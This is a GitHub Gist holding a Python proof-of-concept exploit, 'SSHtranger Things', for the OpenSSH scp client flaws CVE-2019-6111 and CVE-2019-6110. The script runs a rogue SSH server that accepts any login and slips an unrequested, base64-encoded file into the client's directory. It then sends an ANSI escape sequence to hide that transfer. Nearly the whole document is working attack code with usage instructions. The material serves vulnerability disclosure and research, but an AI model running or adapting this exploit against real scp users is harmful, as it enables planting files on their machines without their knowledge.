Last active
August 26, 2024 10:28
-
-
Save mehaase/63e45c17bdbbd59e8e68d02ec58f4ca2 to your computer and use it in GitHub Desktop.
SSHtranger Things Exploit POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Title: SSHtranger Things | |
Author: Mark E. Haase <mhaase@hyperiongray.com> | |
Homepage: https://www.hyperiongray.com | |
Date: 2019-01-17 | |
CVE: CVE-2019-6111, CVE-2019-6110 | |
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt | |
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1 | |
We have nicknamed this "SSHtranger Things" because the bug is so old it could be | |
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko` | |
package. | |
The server listens on port 2222. It accepts any username and password, and it | |
generates a new host key every time you run it. | |
$ python3 sshtranger_things.py | |
Download a file using a vulnerable client. The local path must be a dot: | |
$ scp -P 2222 foo@localhost:test.txt . | |
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established. | |
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w. | |
Are you sure you want to continue connecting (yes/no)? yes | |
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts. | |
foo@localhost's password: | |
test.txt 100% 32 0.7KB/s 00:00 | |
The file you requested (e.g. test.txt) will be saved in your current directory. | |
If your client is vulnerable, you will have an additional file "exploit.txt" | |
created in your current directory. | |
$ cat test.txt | |
This is the file you requested. | |
$ cat exploit.txt | |
SSHtranger Things | |
The interesting code is in ScpServer.send_file(). | |
''' | |
import base64 | |
import gzip | |
import logging | |
import paramiko | |
import paramiko.rsakey | |
import socket | |
import threading | |
logging.basicConfig(level=logging.INFO) | |
dummy = 'This is the file you requested.\n' | |
payload = gzip.decompress(base64.b64decode( | |
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46' | |
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA' | |
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7' | |
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d' | |
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM' | |
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz' | |
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4' | |
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc' | |
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS' | |
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA' | |
)) | |
class ScpServer(paramiko.ServerInterface): | |
def __init__(self): | |
self.event = threading.Event() | |
def check_auth_password(self, username, password): | |
logging.info('Authenticated with %s:%s', username, password) | |
return paramiko.AUTH_SUCCESSFUL | |
def check_channel_request(self, kind, chanid): | |
logging.info('Opened session channel %d', chanid) | |
if kind == "session": | |
return paramiko.OPEN_SUCCEEDED | |
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED | |
def check_channel_exec_request(self, channel, command): | |
command = command.decode('ascii') | |
logging.info('Approving exec request: %s', command) | |
parts = command.split(' ') | |
# Make sure that this is a request to get a file: | |
assert parts[0] == 'scp' | |
assert '-f' in parts | |
file = parts[-1] | |
# Send file from a new thread. | |
threading.Thread(target=self.send_file, args=(channel, file)).start() | |
return True | |
def send_file(self, channel, file): | |
''' | |
The meat of the exploit: | |
1. Send the requested file. | |
2. Send another file (exploit.txt) that was not requested. | |
3. Print ANSI escape sequences to stderr to hide the transfer of | |
exploit.txt. | |
''' | |
def wait_ok(): | |
assert channel.recv(1024) == b'\x00' | |
def send_ok(): | |
channel.sendall(b'\x00') | |
wait_ok() | |
logging.info('Sending requested file "%s" to channel %d', file, | |
channel.get_id()) | |
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii') | |
channel.sendall(command) | |
wait_ok() | |
channel.sendall(dummy) | |
send_ok() | |
wait_ok() | |
# This is CVE-2019-6111: whatever file the client requested, we send | |
# them 'exploit.txt' instead. | |
logging.info('Sending malicious file "exploit.txt" to channel %d', | |
channel.get_id()) | |
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii') | |
channel.sendall(command) | |
wait_ok() | |
channel.sendall(payload) | |
send_ok() | |
wait_ok() | |
# This is CVE-2019-6110: the client will display the text that we send | |
# to stderr, even if it contains ANSI escape sequences. We can send | |
# ANSI codes that clear the current line to hide the fact that a second | |
# file was transmitted.. | |
logging.info('Covering our tracks by sending ANSI escape sequence') | |
channel.sendall_stderr("\x1b[1A".encode('ascii')) | |
channel.close() | |
def main(): | |
logging.info('Creating a temporary RSA host key...') | |
host_key = paramiko.rsakey.RSAKey.generate(1024) | |
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
sock.bind(('localhost', 2222)) | |
sock.listen(0) | |
logging.info('Listening on port 2222...') | |
while True: | |
client, addr = sock.accept() | |
logging.info('Received connection from %s:%s', *addr) | |
transport = paramiko.Transport(client) | |
transport.add_server_key(host_key) | |
server = ScpServer() | |
transport.start_server(server=server) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
how to start even to use it